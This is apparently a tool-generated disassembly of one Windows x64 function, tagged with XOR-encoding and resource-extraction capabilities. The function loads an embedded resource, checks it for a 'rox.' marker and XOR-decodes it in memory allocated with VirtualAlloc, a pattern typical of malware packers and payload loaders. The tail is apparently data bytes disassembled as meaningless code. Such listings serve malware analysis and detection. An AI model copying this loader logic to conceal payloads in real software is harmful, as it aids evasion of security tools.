Function at 0x140002980
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0xb8
mov rdi, rcx
mov r12, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x1400061d0], r12
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [0x1400061d8], rax
mov edx, 0x6f
mov r8d, 0xa
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov rcx, rdi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rsp + 0x24], eax
mov rcx, rdi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0x88], rax
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
mov ebx, dword [rsp + 0x24]
mov rcx, rbx
mov edx, esi
mov r8d, esi
call fcn.1400027a0
mov r15, rax
mov ecx, 0x1000
call fcn.1400027a0
mov rdi, rax
mov ecx, 4
mov edx, esi
call fcn.1400027a0
xor ecx, ecx
mov rdx, r15
mov r8d, edi
mov r9d, eax
call r12
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x28]
mov rdx, r14
mov r8, rbx
call fcn.140002770
mov rsi, qword [rsp + 0x28]
mov edx, 0xc2
mov r8d, 0x8c
xor ecx, ecx
call fcn.1400027a0
mov ecx, dword [rsp + 0x24]
test rsi, rsi
je 0x140002da1
cmp ecx, eax
je 0x140002da1
mov ecx, 5
call fcn.1400027a0
mov ecx, dword [rsp + 0x24]
mov rdx, qword [rsp + 0x28]
mov qword [rsp + 0x48], rdx
cmp ecx, eax
jbe 0x140002dfb
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x2e786f72
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x48], rax
jne 0x140002dfb
mov rax, qword [rsp + 0x28]
add rax, 4
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
movzx eax, byte [rax]
mov byte [rsp + 0x23], al
movzx eax, byte [rsp + 0x23]
mov ecx, dword [rsp + 0x24]
sub ecx, eax
mov dword [rsp + 0x3c], ecx
xor ecx, ecx
call fcn.1400027a0
movzx edx, byte [rsp + 0x23]
mov ecx, dword [rsp + 0x3c]
cmp dl, al
je 0x140002e0c
cmp ecx, 5
jl 0x140002e0c
movzx eax, byte [rsp + 0x23]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
mov ecx, 4
mov r8d, 0x3a
call fcn.1400027a0
add rax, qword [rsp + 0x30]
add rax, qword [rsp + 0x28]
mov qword [rsp + 0x40], rax
mov r8, qword [rsp + 0x30]
mov ecx, 0xfffffffb
mov edx, 0xa1
call fcn.1400027a0
mov rsi, rax
add esi, dword [rsp + 0x3c]
mov rdx, qword [rsp + 0x30]
mov ecx, 2
mov r9d, 0x64
mov r8, rdx
call fcn.1400027a0
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x48], rcx
cmp esi, eax
jb 0x140002dfb
mov ecx, 0xfffffffc
mov edx, 0x30f96e
mov r8d, 0x3b
call fcn.1400027a0
mov rsi, rax
add esi, dword [rsp + 0x3c]
mov qword [rsp + 0x90], rsi
mov ecx, 1
mov edx, esi
call fcn.1400027a0
xor ecx, ecx
cmp al, byte [rsp + 0x23]
adc rcx, 1
mov qword [rsp + 0x98], rcx
mov ecx, 1
mov edx, esi
mov r8d, esi
call fcn.1400027a0
and rax, qword [rsp + 0x90]
mov qword [rsp + 0xa0], rax
mov ecx, 3
mov edx, esi
call fcn.1400027a0
mov rcx, qword [rsp + 0x98]
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x60], 2
cmp esi, eax
je 0x140002d4c
mov edx, 0xea
mov r8d, 2
mov rcx, 0xfffffffffffffffe
call fcn.1400027a0
mov rsi, rax
add rsi, qword [rsp + 0x90]
mov edx, 0xc4
mov rcx, 0xfffffffffffffffe
call fcn.1400027a0
and rax, rsi
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x70], 0
xor r14d, r14d
nop word cs:[rax + rax]
mov r15, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov r12, qword [rsp + 0x80]
cmp r12, qword [rsp + 0x30]
mov edi, 0
cmovb rdi, r12
mov rax, qword [rsp + 0x40]
movzx ecx, byte [rax + rbx]
mov rdx, qword [rsp + 0x50]
xor cl, byte [rdx + rdi]
mov byte [rax + rbx], cl
mov ecx, 1
mov edx, 0xa2
mov r8d, 0xd
call fcn.1400027a0
mov rsi, rax
add rsi, rdi
mov ecx, 1
mov edx, 0x69
call fcn.1400027a0
or rax, rbx
cmp rsi, qword [rsp + 0x30]
cmovae rsi, r14
mov rcx, qword [rsp + 0x40]
movzx edx, byte [rcx + rax]
mov rdi, qword [rsp + 0x50]
xor dl, byte [rdi + rsi]
mov byte [rcx + rax], dl
inc rsi
mov ecx, 2
mov rdx, r12
call fcn.1400027a0
mov rdi, rax
add rdi, rbx
mov ecx, 2
mov edx, 0xaf
mov r8d, 0x43
mov r9d, 0xae
call fcn.1400027a0
add rax, r15
cmp rax, qword [rsp + 0xa8]
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x60], rdi
jne 0x140002c70
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x58], rax
mov r8, qword [rsp + 0x58]
mov edx, 0x3e
xor ecx, ecx
call fcn.1400027a0
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0x40]
mov qword [rsp + 0x48], rdx
cmp rcx, rax
je 0x140002dfb
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x58]
cmp rcx, rax
jae 0x140002dd3
mov rax, qword [rsp + 0x58]
jmp 0x140002dd5
mov edx, 0x5b
xor ecx, ecx
call fcn.1400027a0
lea rdx, [0x140005053]
xor ecx, ecx
xor r8d, r8d
mov r9d, eax
add rsp, 0xb8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0xb0]
movzx ebx, byte [rcx + rdx]
mov rdi, qword [rsp + 0x50]
xor bl, byte [rdi + rax]
mov byte [rcx + rdx], bl
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
lea rdx, str.5vL95_b98r3z_Opp6nr58
call fcn.140001000
mov rcx, qword [rsp + 0x88]
add rsp, 0xb8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_FreeResource]
retf
add al, 0x40
or edx, dword cs:[r10]
add byte [rax], al
jne 0x14000a667
sbb byte [rsi + rax*4 + 0x16], 0x24
add byte [rax], al
invalid
adc al, byte [rax]
mov ecx, 0x482d0c
add byte [rcx + 0x482d0c], bh
add ah, dl
and eax, 0x5a197200
nop
add byte [rax], al
add byte [rax + 0x32e4004b], ch
mov ah, 0x20
add dword [rax], eax
push rax
xchg edi, eax
add byte [rax + 0x32e4004b], ch
mov ah, 0x20
add dword [rax], eax
push rax
xchg edi, eax
add al, cl
push 0xffffffffa0000241
add dword cs:[rax + 0x482d0cb], edx
nop
retf
rol byte [rdx + 0x5d400004], 1
add ah, byte [rax]
xchg edi, eax
movabs eax, dword [0x2e4004ba80000905]
invalid
invalid
nop
retf
or edx, dword [r10]
add byte [rax], al
jne 0x14000a6b0
sbb byte [rsi + rax*4 + 0x16], 0x24
add byte [rax], al
invalid
add byte [rcx + 0x482d0c], bh
add ah, dl
and eax, 0x5a197200
shl byte [rax + rax - 0x4010048], 1
or al, 0x2d
add byte [rax], al
invalid
wait
pop rbp
mov ebx, 0x787d7576
jbe 0x14000a73e
jge 0x14000a743
add byte [rbx], ch
add r12b, r12b
xor dh, byte [rax + riz*4 - 0x3f1f8fd]
invalid
invalid
cld
js 0x14000a709
invalid
sbb byte [rcx + rsi*4 - 7], bl
jmp case.0x140002e24.2
invalid
pop rdi
invalid
cld
xchg dword [rbp + 0x1f], ebx
fbstp tbyte [rdx]
adc al, byte [rax]
invalid
jl 0x14000a779
clc
xchg dword [rdi + 0x2dfafe6f], esi
mov bh, 0xdc
rcr byte [rbp + rsi*2 - 0x2b], cl
push rbp
pop rbp
invalid
jg case.0x140002e24.13
out 0x7d, eax
std
invalid
cmc
int1
sub eax, 0x74100123
loopne 0x14000a6fd
and dword [rdi], 0xadc18306
wait
mov edi, 0x378de37e
xlatb
pop rbp
ja 0x14000a7ab
xlatb
xchg dword [rdi], eax
mov al, 0x52
sahf
jge 0x14000a74c
invalid
call 0xd197a063
add byte [rax], cl
sbb al, byte [rsi]
rcr byte [rbp + 0x647800c3], 0xf3
xlatb
scasd eax, dword [rdi]
mov ebp, 0xe6e6daf6
out 0xe6, al
wait
outsd dx, dword [rsi]
out dx, al
cli
lock add byte [rsi - 0x36], dl
push rsi
retf 0x4f93
fnstcw word ds:[rdi + rdi*8 - 5]
fistp qword [rdi]
out dx, eax
jmp 0x14000a7aa
invalid
sbb ebx, dword [rbx]
sbb esi, edi
invalid
add byte [rbx*8 + 0x1f5dd775], al
pop rax
pop rdi
pop rdi
push rdx
out 0xaf, al
xchg edi, eax
add eax, 0x20216580
and dword [rax], esp
and byte [rax], al
jns 0x14000a77d
add byte [rcx - 0x36], bh
std
push qword [rdx + 0x61b3600e]
mov bl, 0x61
mov bl, 0x61
add byte [rdi + riz*2 - 0x1120ffe8], bh
cli
clc
xchg esi, eax
xchg ecx, eax
add byte [rax], cl
mov edx, 0xde3b8ee3
js 0x14000a7af
test dword [rdi], edx
mov esi, 0xb77bee3c
fistp qword [rsi + 0x7b]
mov bl, 0x6f
fistp qword [rsi + 0x60110fae]
and eax, 0x3fa7f4fc
insd dword [rdi], dx
invalid